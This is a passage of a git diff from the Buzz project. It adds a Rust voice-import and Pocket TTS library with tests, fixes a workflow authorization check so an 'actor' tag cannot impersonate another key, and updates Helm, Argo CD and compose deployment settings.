+            media,
+            &FormatOptions::default(),
+            &MetadataOptions::default(),
+        )
+        .map_err(|error| format!("could not recognize selected audio: {error}"))?;
+    let mut format = probed.format;
+    let track = format
+        .default_track()
+        .ok_or_else(|| "Selected audio has no decodable track".to_string())?;
+    let track_id = track.id;
+    let mut decoder = symphonia::default::get_codecs()
+        .make(&track.codec_params, &DecoderOptions::default())
+        .map_err(|error| format!("could not initialize audio decoder: {error}"))?;
+    let mut sample_rate = None;
+    let mut samples = Vec::new();
+
+    loop {
+        let packet = match format.next_packet() {
+            Ok(packet) => packet,
+            Err(SymphoniaError::ResetRequired) => {
+                return Err("Selected audio changes format mid-stream".to_string());
+            }
+            Err(SymphoniaError::IoError(error))
+                if error.kind() == std::io::ErrorKind::UnexpectedEof =>
+            {
+                break;
+            }
+            Err(error) => return Err(format!("could not read selected audio: {error}")),
+        };
+        if packet.track_id() != track_id {
+            continue;
+        }
+        let decoded = match decoder.decode(&packet) {
+            Ok(decoded) => decoded,
+            Err(SymphoniaError::DecodeError(_)) => continue,
+            Err(error) => return Err(format!("could not decode selected audio: {error}")),
+        };
+        let spec = *decoded.spec();
+        if !(MIN_SAMPLE_RATE..=MAX_SAMPLE_RATE).contains(&spec.rate) {
+            return Err("Voice audio sample rate must be between 8 and 96 kHz".to_string());
+        }
+        if sample_rate.is_some_and(|rate| rate != spec.rate) {
+            return Err("Selected audio changes sample rate mid-stream".to_string());
+        }
+        sample_rate = Some(spec.rate);
+        let channels = spec.channels.count();
+        if channels == 0 || channels > 8 {
+            return Err("Voice audio must contain between 1 and 8 channels".to_string());
+        }
+        let mut buffer = SampleBuffer::<f32>::new(decoded.capacity() as u64, spec);
+        buffer.copy_interleaved_ref(decoded);
+        for frame in buffer.samples().chunks_exact(channels) {
+            let mono = frame.iter().copied().sum::<f32>() / channels as f32;
+            if !mono.is_finite() {
+                return Err("Voice audio contains non-finite samples".to_string());
+            }
+            samples.push(mono.clamp(-1.0, 1.0));
+        }
+        if samples.len() as f64 > MAX_DURATION_SECONDS * f64::from(spec.rate) {
+            return Err("Voice audio must be between 2 and 30 seconds long".to_string());
+        }
+    }
+
+    let sample_rate =
+        sample_rate.ok_or_else(|| "Selected audio contains no samples".to_string())?;
+    validate_decoded_audio(&samples, sample_rate)?;
+    Ok(DecodedAudio {
+        sample_rate,
+        samples,
+    })
+}
+
+fn validate_decoded_audio(samples: &[f32], sample_rate: u32) -> Result<(), String> {
+    let stats = PcmStats::analyze(samples, sample_rate);
+    if !(MIN_DURATION_SECONDS..=MAX_DURATION_SECONDS).contains(&stats.duration_seconds) {
+        return Err("Voice audio must be between 2 and 30 seconds long".to_string());
+    }
+    if !stats.is_non_silent() {
+        return Err("Voice audio is silent or too quiet to clone".to_string());
+    }
+    Ok(())
+}
+
+fn resample_linear(samples: &[f32], source_rate: u32) -> Vec<f32> {
+    if source_rate == CANONICAL_SAMPLE_RATE {
+        return samples.to_vec();
+    }
+    let output_len = ((samples.len() as u64 * u64::from(CANONICAL_SAMPLE_RATE)
+        + u64::from(source_rate) / 2)
+        / u64::from(source_rate)) as usize;
+    (0..output_len)
+        .map(|index| {
+            let source = index as f64 * f64::from(source_rate) / f64::from(CANONICAL_SAMPLE_RATE);
+            let left = source.floor() as usize;
+            let fraction = (source - left as f64) as f32;
+            let a = samples[left.min(samples.len() - 1)];
+            let b = samples[(left + 1).min(samples.len() - 1)];
+            a + (b - a) * fraction
+        })
+        .collect()
+}
+
+fn encode_pcm16_wav(samples: &[f32], sample_rate: u32) -> Vec<u8> {
+    let data_len = (samples.len() * 2) as u32;
+    let mut bytes = Vec::with_capacity(44 + data_len as usize);
+    bytes.extend_from_slice(b"RIFF");
+    bytes.extend_from_slice(&(36 + data_len).to_le_bytes());
+    bytes.extend_from_slice(b"WAVEfmt ");
+    bytes.extend_from_slice(&16_u32.to_le_bytes());
+    bytes.extend_from_slice(&1_u16.to_le_bytes());
+    bytes.extend_from_slice(&1_u16.to_le_bytes());
+    bytes.extend_from_slice(&sample_rate.to_le_bytes());
+    bytes.extend_from_slice(&(sample_rate * 2).to_le_bytes());
+    bytes.extend_from_slice(&2_u16.to_le_bytes());
+    bytes.extend_from_slice(&16_u16.to_le_bytes());
+    bytes.extend_from_slice(b"data");
+    bytes.extend_from_slice(&data_len.to_le_bytes());
+    for sample in samples {
+        let value = (sample.clamp(-1.0, 1.0) * f32::from(i16::MAX)).round() as i16;
+        bytes.extend_from_slice(&value.to_le_bytes());
+    }
+    bytes
+}
+
+#[cfg(test)]
+mod tests {
+    use super::*;
+
+    fn fixture(sample_rate: u32, seconds: usize, amplitude: f32) -> Vec<u8> {
+        let samples = (0..sample_rate as usize * seconds)
+            .map(|index| {
+                amplitude
+                    * (std::f32::consts::TAU * 220.0 * index as f32 / sample_rate as f32).sin()
+            })
+            .collect::<Vec<_>>();
+        encode_pcm16_wav(&samples, sample_rate)
+    }
+
+    fn stereo_fixture(sample_rate: u32, seconds: usize, amplitude: f32) -> Vec<u8> {
+        let mono = fixture(sample_rate, seconds, amplitude);
+        let mono_data = &mono[44..];
+        let mut stereo_data = Vec::with_capacity(mono_data.len() * 2);
+        for sample in mono_data.chunks_exact(2) {
+            stereo_data.extend_from_slice(sample);
+            stereo_data.extend_from_slice(sample);
+        }
+        let mut stereo = mono[..44].to_vec();
+        stereo[4..8].copy_from_slice(&(36 + stereo_data.len() as u32).to_le_bytes());
+        stereo[22..24].copy_from_slice(&2_u16.to_le_bytes());
+        stereo[28..32].copy_from_slice(&(sample_rate * 4).to_le_bytes());
+        stereo[32..34].copy_from_slice(&4_u16.to_le_bytes());
+        stereo[40..44].copy_from_slice(&(stereo_data.len() as u32).to_le_bytes());
+        stereo.extend_from_slice(&stereo_data);
+        stereo
+    }
+
+    #[test]
+    fn imports_persists_reloads_and_deletes_canonical_voice() {
+        let temp = tempfile::tempdir().expect("temp voice workspace");
+        let source = temp.path().join("My voice.wav");
+        fs::write(&source, fixture(44_100, 2, 0.5)).expect("write source");
+        let library = PocketVoiceLibrary::new(temp.path().join("library"));
+
+        let imported = library.import_path(&source).expect("import voice");
+        assert!(imported.key.starts_with("pocket:imported:"));
+        assert_eq!(imported.display_name, "My voice");
+
+        let relaunched = PocketVoiceLibrary::new(library.root());
+        assert_eq!(
+            relaunched.load().expect("reload registry"),
+            vec![imported.clone()]
+        );
+        let stored = relaunched
+            .resolve_file(&imported)
+            .expect("resolve stored voice");
+        let decoded = decode_wav(&fs::read(&stored).expect("read stored voice"))
+            .expect("decode canonical voice");
+        assert_eq!(decoded.sample_rate, CANONICAL_SAMPLE_RATE);
+        assert_eq!(decoded.samples.len(), CANONICAL_SAMPLE_RATE as usize * 2);
+
+        assert_eq!(
+            relaunched.import_path(&source).expect("idempotent import"),
+            imported
+        );
+        assert_eq!(relaunched.load().expect("deduplicated registry").len(), 1);
+
+        relaunched.delete(&imported.key).expect("delete voice");
+        assert!(relaunched.load().expect("empty registry").is_empty());
+        assert!(!stored.exists());
+    }
+
+    #[test]
+    fn common_stereo_audio_is_downmixed_to_canonical_mono() {
+        let temp = tempfile::tempdir().expect("temp voice workspace");
+        let source = temp.path().join("stereo.wav");
+        fs::write(&source, stereo_fixture(44_100, 2, 0.5)).expect("write stereo");
+        let library = PocketVoiceLibrary::new(temp.path().join("library"));
+
+        let imported = library.import_path(&source).expect("import stereo");
+        let stored = library
+            .resolve_file(&imported)
+            .expect("resolve stored voice");
+        let decoded = decode_wav(&fs::read(stored).expect("read stored voice"))
+            .expect("decode canonical voice");
+        assert_eq!(decoded.sample_rate, CANONICAL_SAMPLE_RATE);
+        assert_eq!(decoded.samples.len(), CANONICAL_SAMPLE_RATE as usize * 2);
+    }
+
+    #[test]
+    #[ignore = "requires BUZZ_VOICE_IMPORT_TEST_DIR with common-format fixtures"]
+    fn imports_common_audio_format_fixtures() {
+        let fixtures =
+            PathBuf::from(std::env::var("BUZZ_VOICE_IMPORT_TEST_DIR").expect("fixture directory"));
+        let temp = tempfile::tempdir().expect("temp voice workspace");
+        let library = PocketVoiceLibrary::new(temp.path().join("library"));
+
+        for file_name in [
+            "voice.wav",
+            "voice.m4a",
+            "voice.mp3",
+            "voice.flac",
+            "voice.ogg",
+            "voice.aiff",
+        ] {
+            let imported = library
+                .import_path(&fixtures.join(file_name))
+                .unwrap_or_else(|error| panic!("import {file_name}: {error}"));
+            let stored = library
+                .resolve_file(&imported)
+                .unwrap_or_else(|error| panic!("resolve {file_name}: {error}"));
+            let decoded = decode_wav(&fs::read(stored).expect("read canonical voice"))
+                .expect("decode canonical voice");
+            assert_eq!(decoded.sample_rate, CANONICAL_SAMPLE_RATE);
+            assert!(decoded.samples.len() >= CANONICAL_SAMPLE_RATE as usize * 2);
+        }
+    }
+
+    #[test]
+    fn invalid_unsupported_and_silent_files_do_not_mutate_registry() {
+        let temp = tempfile::tempdir().expect("temp voice workspace");
+        let library = PocketVoiceLibrary::new(temp.path().join("library"));
+
+        let garbage = temp.path().join("garbage.wav");
+        fs::write(&garbage, b"not a wave").expect("write garbage");
+        assert!(library
+            .import_path(&garbage)
+            .expect_err("garbage rejected")
+            .contains("RIFF/WAVE"));
+
+        let silent = temp.path().join("silent.wav");
+        fs::write(&silent, fixture(32_000, 2, 0.0)).expect("write silence");
+        assert!(library
+            .import_path(&silent)
+            .expect_err("silence rejected")
+            .contains("silent"));
+
+        let unsupported_container = temp.path().join("voice.txt");
+        fs::write(&unsupported_container, b"not audio").expect("write unsupported container");
+        assert!(library
+            .import_path(&unsupported_container)
+            .expect_err("container rejected")
+            .contains("Unsupported voice audio format"));
+
+        let mut unsupported = fixture(32_000, 2, 0.5);
+        unsupported[20..22].copy_from_slice(&6_u16.to_le_bytes());
+        let unsupported_path = temp.path().join("unsupported.wav");
+        fs::write(&unsupported_path, unsupported).expect("write unsupported");
+        assert!(library
+            .import_path(&unsupported_path)
+            .expect_err("unsupported rejected")
+            .contains("PCM or 32-bit float"));
+
+        assert!(library.load().expect("unchanged registry").is_empty());
+    }
+
+    #[test]
+    fn pcm_analysis_distinguishes_signal_from_silence() {
+        let signal = (0..24_000)
+            .map(|index| (std::f32::consts::TAU * 440.0 * index as f32 / 24_000.0).sin() * 0.5)
+            .collect::<Vec<_>>();
+        let signal_stats = PcmStats::analyze(&signal, 24_000);
+        assert!(signal_stats.is_non_silent());
+        assert_eq!(signal_stats.duration_seconds, 1.0);
+        assert!(signal_stats.peak > 0.49);
+        assert!(signal_stats.rms > 0.3);
+
+        let silence = vec![0.0; 24_000];
+        assert!(!PcmStats::analyze(&silence, 24_000).is_non_silent());
+    }
+}
diff --git a/crates/buzz-voice/src/lib.rs b/crates/buzz-voice/src/lib.rs
new file mode 100644
index 0000000000..e4b4ebfed3
--- /dev/null
+++ b/crates/buzz-voice/src/lib.rs
@@ -0,0 +1,23 @@
+//! Reusable local voice primitives for Buzz.
+
+pub mod imported;
+pub mod pocket;
+
+pub use pocket::{
+    april_model_info, load_text_to_speech, load_voice_style, PocketModelInfo, PocketTts,
+    VoiceStyle, DEFAULT_VOICE, SAMPLE_RATE, VOICE_FILE_EXT,
+};
+
+/// One immutable artifact required by the April Pocket bundle.
+///
+/// `filename` is the bundle-relative file name, `sha256` pins its contents,
+/// `size_bytes` supports download progress and validation, and `quantized`
+/// identifies the INT8 components.
+pub type PocketModelArtifact = pocket::PocketModelArtifact;
+
+/// Language bundle selected from the pinned export.
+pub const APRIL_BUNDLE_ID: &str = pocket::APRIL_BUNDLE_ID;
+/// Pinned upstream export repository.
+pub const APRIL_MODEL_ID: &str = pocket::APRIL_MODEL_ID;
+/// Pinned revision containing the April bundle.
+pub const APRIL_MODEL_REVISION: &str = pocket::APRIL_MODEL_REVISION;
diff --git a/crates/buzz-voice/src/pocket.rs b/crates/buzz-voice/src/pocket.rs
new file mode 100644
index 0000000000..0c6174a8dc
--- /dev/null
+++ b/crates/buzz-voice/src/pocket.rs
@@ -0,0 +1,167 @@
+//! April 2026 Pocket TTS engine for Buzz Desktop.
+//!
+//! The `english_2026-04` bundle uses SentencePiece tokenization, a learned
+//! voice BOS embedding, recurrent FlowLM state, and stateful Mimi decoding.
+//! Buzz selects the upstream three-graph INT8 variant while retaining the
+//! full-precision Mimi encoder and text conditioner specified by that variant.
+//!
+//! ## Attribution
+//!
+//! - Pocket TTS and Mimi: Kyutai, CC-BY-4.0.
+//! - ONNX export: KevinAHM/pocket-tts-onnx, CC-BY-4.0.
+//! - Reference voice: Kyutai's Mary preset (VCTK p333), CC-BY-4.0.
+//!
+//! `huddle::models` writes the complete attribution beside the cached bytes.
+
+use std::path::{Path, PathBuf};
+use std::sync::Mutex;
+
+use sherpa_onnx::Wave;
+
+#[path = "pocket_april.rs"]
+mod pocket_april;
+#[path = "pocket_models.rs"]
+mod pocket_models;
+
+use pocket_april::{prepare_april_prompt, AprilPocketTts};
+pub use pocket_models::{
+    april_model_info, PocketModelArtifact, PocketModelInfo, APRIL_BUNDLE_ID, APRIL_MODEL_ID,
+    APRIL_MODEL_REVISION,
+};
+
+/// Pocket TTS emits 24 kHz mono PCM.
+pub const SAMPLE_RATE: u32 = 24_000;
+
+/// Bundled reference voice name without its extension.
+pub const DEFAULT_VOICE: &str = "reference_sample";
+
+/// Pocket voice files are reference WAVs.
+pub const VOICE_FILE_EXT: &str = "wav";
+
+const TTS_NUM_THREADS: usize = 1;
+
+/// Loaded reference voice samples and their original sample rate.
+#[derive(Debug, Clone)]
+pub struct VoiceStyle {
+    samples: Vec<f32>,
+    sample_rate: i32,
+}
+
+/// Load a Pocket reference voice WAV from disk.
+pub fn load_voice_style(path: &Path) -> Result<VoiceStyle, String> {
+    let path_str = path
+        .to_str()
+        .ok_or_else(|| format!("voice path is not valid UTF-8: {}", path.display()))?;
+    let wave = Wave::read(path_str)
+        .ok_or_else(|| format!("could not read voice WAV at {}", path.display()))?;
+    let samples = wave.samples().to_vec();
+    if samples.is_empty() {
+        return Err(format!("voice WAV is empty: {}", path.display()));
+    }
+    Ok(VoiceStyle {
+        samples,
+        sample_rate: wave.sample_rate(),
+    })
+}
+
+/// Resident April INT8 Pocket TTS engine.
+pub struct PocketTts {
+    inner: Mutex<AprilPocketTts>,
+}
+
+/// Load Buzz Desktop's pinned April INT8 model.
+pub fn load_text_to_speech(model_dir: &str) -> Result<PocketTts, String> {
+    let dir = PathBuf::from(model_dir);
+    for artifact in april_model_info().artifacts {
+        let path = dir.join(artifact.filename);
+        if !path.is_file() {
+            return Err(format!(
+                "incomplete Pocket TTS {} INT8 bundle: missing {}",
+                APRIL_BUNDLE_ID,
+                path.display()
+            ));
+        }
+    }
+    Ok(PocketTts {
+        inner: Mutex::new(AprilPocketTts::load(&dir, TTS_NUM_THREADS)?),
+    })
+}
+
+impl PocketTts {
+    /// Split text into synthesis units that satisfy the bundle's exact
+    /// 50-token input limit.
+    pub fn split_text_into_chunks(&self, text: &str) -> Result<Vec<String>, String> {
+        let Some(prepared) = prepare_april_prompt(text) else {
+            return Ok(Vec::new());
+        };
+        self.inner
+            .lock()
+            .map_err(|_| "Pocket TTS engine lock poisoned".to_string())?
+            .split_prompt(&prepared)
+    }
+
+    /// Synthesize text with the supplied reference voice.
+    ///
+    /// Pocket detects language from text and this model uses one synthesis
+    /// step, so `_lang` and `_steps` intentionally do not affect output.
+    pub fn synth_chunk(
+        &self,
+        text: &str,
+        _lang: &str,
+        style: &VoiceStyle,
+        _steps: usize,
+    ) -> Result<Vec<f32>, String> {
+        let Some(prepared) = prepare_april_prompt(text) else {
+            return Ok(Vec::new());
+        };
+        let mut engine = self
+            .inner
+            .lock()
+            .map_err(|_| "Pocket TTS engine lock poisoned".to_string())?;
+        let chunks = engine.split_prompt(&prepared)?;
+        let mut samples = Vec::new();
+        for chunk in chunks {
+            let prepared = prepare_april_prompt(&chunk)
+                .ok_or_else(|| "Pocket TTS prompt chunk became empty".to_string())?;
+            samples.extend(engine.synth_chunk(&prepared, style)?);
+        }
+        Ok(samples)
+    }
+}
+
+#[cfg(test)]
+mod tests {
+    use super::*;
+
+    #[test]
+    fn desktop_model_is_april_int8_only() {
+        let info = april_model_info();
+        assert_eq!(info.max_token_per_chunk, 50);
+        assert_eq!(info.sample_rate, SAMPLE_RATE);
+        assert!(info
+            .artifacts
+            .iter()
+            .any(|artifact| artifact.filename == "flow_lm_main_int8.onnx"));
+        assert!(!info
+            .artifacts
+            .iter()
+            .any(|artifact| artifact.filename == "flow_lm_main.onnx"));
+    }
+
+    #[test]
+    #[ignore = "requires BUZZ_POCKET_TEST_MODEL_DIR"]
+    fn production_api_emits_non_silent_april_int8_pcm() {
+        let dir = std::env::var("BUZZ_POCKET_TEST_MODEL_DIR")
+            .expect("set BUZZ_POCKET_TEST_MODEL_DIR to an April INT8 model directory");
+        let engine = load_text_to_speech(&dir).expect("load April INT8 engine");
+        let style = load_voice_style(&Path::new(&dir).join("reference_sample.wav"))
+            .expect("load reference voice");
+        let samples = engine
+            .synth_chunk("Bright birds begin beside the bay.", "en", &style, 1)
+            .expect("synthesize through the production API");
+
+        assert!(!samples.is_empty());
+        assert!(samples.iter().all(|sample| sample.is_finite()));
+        assert!(samples.iter().any(|sample| sample.abs() > 1.0e-6));
+    }
+}
diff --git a/desktop/src-tauri/src/huddle/pocket_april.rs b/crates/buzz-voice/src/pocket_april.rs
similarity index 100%
rename from desktop/src-tauri/src/huddle/pocket_april.rs
rename to crates/buzz-voice/src/pocket_april.rs
diff --git a/desktop/src-tauri/src/huddle/pocket_models.rs b/crates/buzz-voice/src/pocket_models.rs
similarity index 93%
rename from desktop/src-tauri/src/huddle/pocket_models.rs
rename to crates/buzz-voice/src/pocket_models.rs
index de34c77a70..ba3f92849c 100644
--- a/desktop/src-tauri/src/huddle/pocket_models.rs
+++ b/crates/buzz-voice/src/pocket_models.rs
@@ -24,12 +24,19 @@ pub struct PocketModelArtifact {
 /// Capabilities of Buzz Desktop's sole Pocket model.
 #[derive(Debug, Clone, Copy, PartialEq, Eq)]
 pub struct PocketModelInfo {
+    /// Language bundle selected from the pinned export.
     pub bundle_id: &'static str,
+    /// Upstream model repository.
     pub source_model_id: &'static str,
+    /// Pinned upstream model revision.
     pub revision: &'static str,
+    /// PCM output sample rate.
     pub sample_rate: u32,
+    /// Maximum input size declared by the bundle.
     pub max_token_per_chunk: usize,
+    /// Immutable files required by the runtime.
     pub artifacts: &'static [PocketModelArtifact],
+    /// Components quantized in the selected bundle.
     pub quantized_components: &'static [&'static str],
 }
 
diff --git a/crates/buzz-voice/tests/pocket_import_audio.rs b/crates/buzz-voice/tests/pocket_import_audio.rs
new file mode 100644
index 0000000000..8578c368d4
--- /dev/null
+++ b/crates/buzz-voice/tests/pocket_import_audio.rs
@@ -0,0 +1,133 @@
+use std::{
+    fs,
+    path::{Path, PathBuf},
+};
+
+use buzz_voice::{
+    imported::{write_pcm16_wav, PcmStats, PocketVoiceLibrary},
+    pocket::{load_text_to_speech, load_voice_style, DEFAULT_VOICE, SAMPLE_RATE, VOICE_FILE_EXT},
+};
+
+const PREVIEW_TEXT: &str = "This is an objective Pocket voice preview.";
+
+fn required_path(name: &str) -> PathBuf {
+    std::env::var_os(name)
+        .map(PathBuf::from)
+        .unwrap_or_else(|| panic!("{name} must point to the required local test path"))
+}
+
+fn checked_in_voice() -> PathBuf {
+    Path::new(env!("CARGO_MANIFEST_DIR"))
+        .join("../../desktop/src-tauri/resources/pocket-voices/eve.wav")
+}
+
+fn evidence_dir() -> PathBuf {
+    std::env::var_os("BUZZ_VOICE_EVIDENCE_DIR")
+        .map(PathBuf::from)
+        .unwrap_or_else(|| {
+            Path::new(env!("CARGO_MANIFEST_DIR")).join("../../target/buzz-voice-evidence")
+        })
+}
+
+fn synthesize(model_dir: &Path, voice_path: &Path, text: &str) -> (Vec<f32>, PcmStats) {
+    let engine = load_text_to_speech(
+        model_dir
+            .to_str()
+            .expect("Pocket model path must be valid UTF-8"),
+    )
+    .expect("load Pocket model");
+    let style = load_voice_style(voice_path).expect("load selected voice");
+    let samples = engine
+        .synth_chunk(text, "en", &style, 1)
+        .expect("synthesize preview");
+    let stats = PcmStats::analyze(&samples, SAMPLE_RATE);
+    assert!(
+        stats.is_non_silent(),
+        "generated PCM must be non-silent: {stats:?}"
+    );
+    assert!(
+        stats.duration_seconds > 0.2,
+        "generated PCM is unexpectedly short: {stats:?}"
+    );
+    (samples, stats)
+}
+
+#[test]
+#[ignore = "requires BUZZ_POCKET_MODEL_DIR and runs the installed Pocket ONNX model"]
+fn objective_import_synthesis_delete_and_mary_fallback() {
+    let model_dir = required_path("BUZZ_POCKET_MODEL_DIR");
+    let temp = tempfile::tempdir().expect("temporary voice workspace");
+    let source = temp.path().join("Imported Eve.wav");
+    fs::copy(checked_in_voice(), &source).expect("copy checked-in voice fixture");
+
+    let library_root = temp.path().join("library");
+    let library = PocketVoiceLibrary::new(&library_root);
+    let imported = library.import_path(&source).expect("import valid WAV");
+    assert_eq!(
+        library.find(&imported.key).expect("read selection"),
+        Some(imported.clone())
+    );
+
+    drop(library);
+    let relaunched = PocketVoiceLibrary::new(&library_root);
+    let selected = relaunched
+        .find(&imported.key)
+        .expect("reload persisted selection")
+        .expect("selected imported voice survived relaunch");
+    let imported_path = relaunched
+        .resolve_file(&selected)
+        .expect("resolve persisted imported voice");
+    let (imported_pcm, imported_stats) = synthesize(&model_dir, &imported_path, PREVIEW_TEXT);
+
+    let evidence = evidence_dir();
+    fs::create_dir_all(&evidence).expect("create evidence directory");
+    let imported_wav = evidence.join("imported-preview.wav");
+    write_pcm16_wav(&imported_wav, &imported_pcm, SAMPLE_RATE)
+        .expect("write imported preview evidence");
+
+    relaunched
+        .delete(&imported.key)
+        .expect("delete imported voice");
+    assert_eq!(
+        relaunched.find(&imported.key).expect("reload after delete"),
+        None
+    );
+
+    let mary_path = model_dir.join(format!("{DEFAULT_VOICE}.{VOICE_FILE_EXT}"));
+    assert_eq!(
+        mary_path.file_name().and_then(|name| name.to_str()),
+        Some("reference_sample.wav"),
+        "fallback must remain the deterministic Mary reference"
+    );
+    let (mary_pcm, mary_stats) = synthesize(&model_dir, &mary_path, PREVIEW_TEXT);
+    let mary_wav = evidence.join("mary-fallback-preview.wav");
+    write_pcm16_wav(&mary_wav, &mary_pcm, SAMPLE_RATE)
+        .expect("write Mary fallback preview evidence");
+
+    println!(
+        "{}",
+        serde_json::json!({
+            "importedKey": imported.key,
+            "persistence": "reloaded",
+            "afterDelete": "pocket:mary",
+            "importedPreview": {
+                "path": imported_wav,
+                "samples": imported_stats.sample_count,
+                "sampleRate": imported_stats.sample_rate,
+                "durationSeconds": imported_stats.duration_seconds,
+                "peak": imported_stats.peak,
+                "rms": imported_stats.rms,
+                "nonSilentSamples": imported_stats.non_silent_samples,
+            },
+            "maryFallbackPreview": {
+                "path": mary_wav,
+                "samples": mary_stats.sample_count,
+                "sampleRate": mary_stats.sample_rate,
+                "durationSeconds": mary_stats.duration_seconds,
+                "peak": mary_stats.peak,
+                "rms": mary_stats.rms,
+                "nonSilentSamples": mary_stats.non_silent_samples,
+            }
+        })
+    );
+}
diff --git a/crates/buzz-workflow/src/lib.rs b/crates/buzz-workflow/src/lib.rs
index 7aaa3d1702..e142221169 100644
--- a/crates/buzz-workflow/src/lib.rs
+++ b/crates/buzz-workflow/src/lib.rs
@@ -956,18 +956,10 @@ pub fn build_trigger_context(event: &buzz_core::StoredEvent) -> executor::Trigge
     let kind_u32 = event_kind_u32(&event.event);
     let content = event.event.content.clone();
 
-    let author = event
-        .event
-        .tags
-        .iter()
-        .find_map(|tag| {
-            if tag.kind().to_string() == "actor" {
-                tag.content().map(|value| value.to_string())
-            } else {
-                None
-            }
-        })
-        .unwrap_or_else(|| event.event.pubkey.to_hex());
+    // Workflow conditions make authorization decisions from `trigger_author`,
+    // so it must come from the event signature. An `actor` tag is ordinary
+    // signer-controlled metadata and cannot speak for another pubkey.
+    let author = event.event.pubkey.to_hex();
 
     // For reaction events (NIP-25), the content field holds the emoji character
     // or shortcode (e.g. "👍", "+", "-"). Expose it as `emoji`.
@@ -1608,6 +1600,24 @@ steps:
         assert!(ctx.author.chars().all(|c| c.is_ascii_hexdigit()));
     }
 
+    #[test]
+    fn build_trigger_context_ignores_actor_tag() {
+        use nostr::{EventBuilder, Keys, Kind, Tag};
+
+        let signer = Keys::generate();
+        let impersonated = Keys::generate();
+        let event = EventBuilder::new(Kind::Custom(9), "forged actor")
+            .tags([Tag::parse(["actor", &impersonated.public_key().to_hex()]).expect("actor tag")])
+            .sign_with_keys(&signer)
+            .expect("sign");
+        let stored = buzz_core::StoredEvent::new(event, Some(uuid::Uuid::new_v4()));
+
+        let ctx = build_trigger_context(&stored);
+
+        assert_eq!(ctx.author, signer.public_key().to_hex());
+        assert_ne!(ctx.author, impersonated.public_key().to_hex());
+    }
+
     #[test]
     fn build_trigger_context_message_id_is_hex() {
         let stored = make_message_event();
diff --git a/deploy/charts/buzz/examples/argocd-app.yaml b/deploy/charts/buzz/examples/argocd-app.yaml
index 8f6cb76228..a29a6919b7 100644
--- a/deploy/charts/buzz/examples/argocd-app.yaml
+++ b/deploy/charts/buzz/examples/argocd-app.yaml
@@ -16,9 +16,14 @@ metadata:
 spec:
   project: default
   source:
-    repoURL: oci://ghcr.io/block/buzz/charts
-    chart: buzz
-    targetRevision: 0.1.0
+    # Argo CD >= 3.1 native OCI sources: repoURL must be the FULL chart
+    # artifact path — with the `repoURL: …/charts` + `chart: buzz` split
+    # form, the `chart` field is ignored for oci:// URLs and the fetch
+    # fails with a 403 (`repository:block/buzz/charts:pull` denied). The
+    # spec validator still requires `path`; use "." for OCI sources.
+    repoURL: oci://ghcr.io/block/buzz/charts/buzz
+    path: .
+    targetRevision: 0.1.7
     helm:
       releaseName: buzz
       values: |
diff --git a/deploy/charts/buzz/templates/deployment.yaml b/deploy/charts/buzz/templates/deployment.yaml
index 67a93138c5..5c876f7d24 100644
--- a/deploy/charts/buzz/templates/deployment.yaml
+++ b/deploy/charts/buzz/templates/deployment.yaml
@@ -128,6 +128,7 @@ spec:
             - { name: BUZZ_MAX_CONNECTIONS,        value: {{ .Values.relay.maxConnections | quote }} }
             - { name: BUZZ_MAX_CONCURRENT_HANDLERS, value: {{ .Values.relay.maxConcurrentHandlers | quote }} }
             - { name: BUZZ_SEND_BUFFER,            value: {{ .Values.relay.sendBuffer | quote }} }
+            - { name: BUZZ_DRAIN_JITTER_MS,        value: {{ .Values.relay.drainJitterMs | quote }} }
             - { name: BUZZ_REQUIRE_AUTH_TOKEN,     value: {{ .Values.relay.requireAuthToken | quote }} }
             - { name: BUZZ_REQUIRE_RELAY_MEMBERSHIP, value: {{ .Values.relay.requireRelayMembership | quote }} }
             - { name: BUZZ_REQUIRE_MEDIA_GET_AUTH, value: {{ .Values.relay.requireMediaGetAuth | quote }} }
diff --git a/deploy/charts/buzz/values.schema.json b/deploy/charts/buzz/values.schema.json
index 9cb6a02c9b..e1e362a531 100644
--- a/deploy/charts/buzz/values.schema.json
+++ b/deploy/charts/buzz/values.schema.json
@@ -59,6 +59,7 @@
         "maxConnections": { "type": "integer", "minimum": 1 },
         "maxConcurrentHandlers": { "type": "integer", "minimum": 1 },
         "sendBuffer": { "type": "integer", "minimum": 1 },
+        "drainJitterMs": { "type": "integer", "minimum": 0 },
         "requireAuthToken": { "type": "boolean" },
         "requireRelayMembership": { "type": "boolean" },
         "requireMediaGetAuth": { "type": "boolean" },
diff --git a/deploy/charts/buzz/values.yaml b/deploy/charts/buzz/values.yaml
index 810f8a9658..42b09f1b3e 100644
--- a/deploy/charts/buzz/values.yaml
+++ b/deploy/charts/buzz/values.yaml
@@ -105,6 +105,16 @@ relay:
   maxConnections: 10000
   maxConcurrentHandlers: 1024
   sendBuffer: 1000
+  # Graceful-shutdown reconnect jitter. On SIGTERM the relay closes every live
+  # WebSocket with a 1012 Service Restart frame; with a rolling deploy this can
+  # release a whole pod's sockets at once and stampede reconnects into the DB
+  # pool. A positive value (milliseconds) spreads each close over a per-socket
+  # random delay in [1, drainJitterMs], smoothing the reconnect herd. 0 (the
+  # default) closes all sockets at once, preserving the previous behavior.
+  # Values above 20000 are capped to 20000, leaving close-frame delivery
+  # headroom under the relay's 30s hard-drain timeout (itself inside the 60s
+  # terminationGracePeriodSeconds below).
+  drainJitterMs: 0
   requireAuthToken: true
   requireRelayMembership: true
   # Authenticated media reads: relay GET/HEAD /media/* requires Blossom
diff --git a/deploy/compose/compose.yml b/deploy/compose/compose.yml
index 27856755a8..15337c92a2 100644
--- a/deploy/compose/compose.yml
+++ b/deploy/compose/compose.yml
@@ -9,10 +9,6 @@ services:
       BUZZ_BIND_ADDR: 0.0.0.0:3000
       BUZZ_HEALTH_PORT: "8080"
       BUZZ_METRICS_PORT: "9102"
-      # Leave headroom under the bundled Postgres 50-connection ceiling for
-      # the relay's audit/search pools and operator access.
-      BUZZ_DB_POOL_SIZE: ${BUZZ_DB_POOL_SIZE:-12}
-      BUZZ_DB_READ_POOL_SIZE: ${BUZZ_DB_READ_POOL_SIZE:-12}
       DATABASE_URL: postgres://${POSTGRES_USER:-buzz}:${POSTGRES_PASSWORD:?set POSTGRES_PASSWORD}@postgres:5432/${POSTGRES_DB:-buzz}
       REDIS_URL: redis://:${REDIS_PASSWORD:?set REDIS_PASSWORD}@redis:6379
       BUZZ_S3_ENDPOINT: http://minio:9000
diff --git a/desktop/package.json b/desktop/package.json
index 2226a0cb12..a1fd2e919d 100644
--- a/desktop/package.json
+++ b/desktop/package.json
@@ -1,7 +1,7 @@
 {
   "name": "buzz",
   "private": true,
-  "version": "0.5.2",
+  "version": "0.5.5",
   "type": "module",
   "scripts": {
     "dev": "vite",
@@ -30,6 +30,7 @@
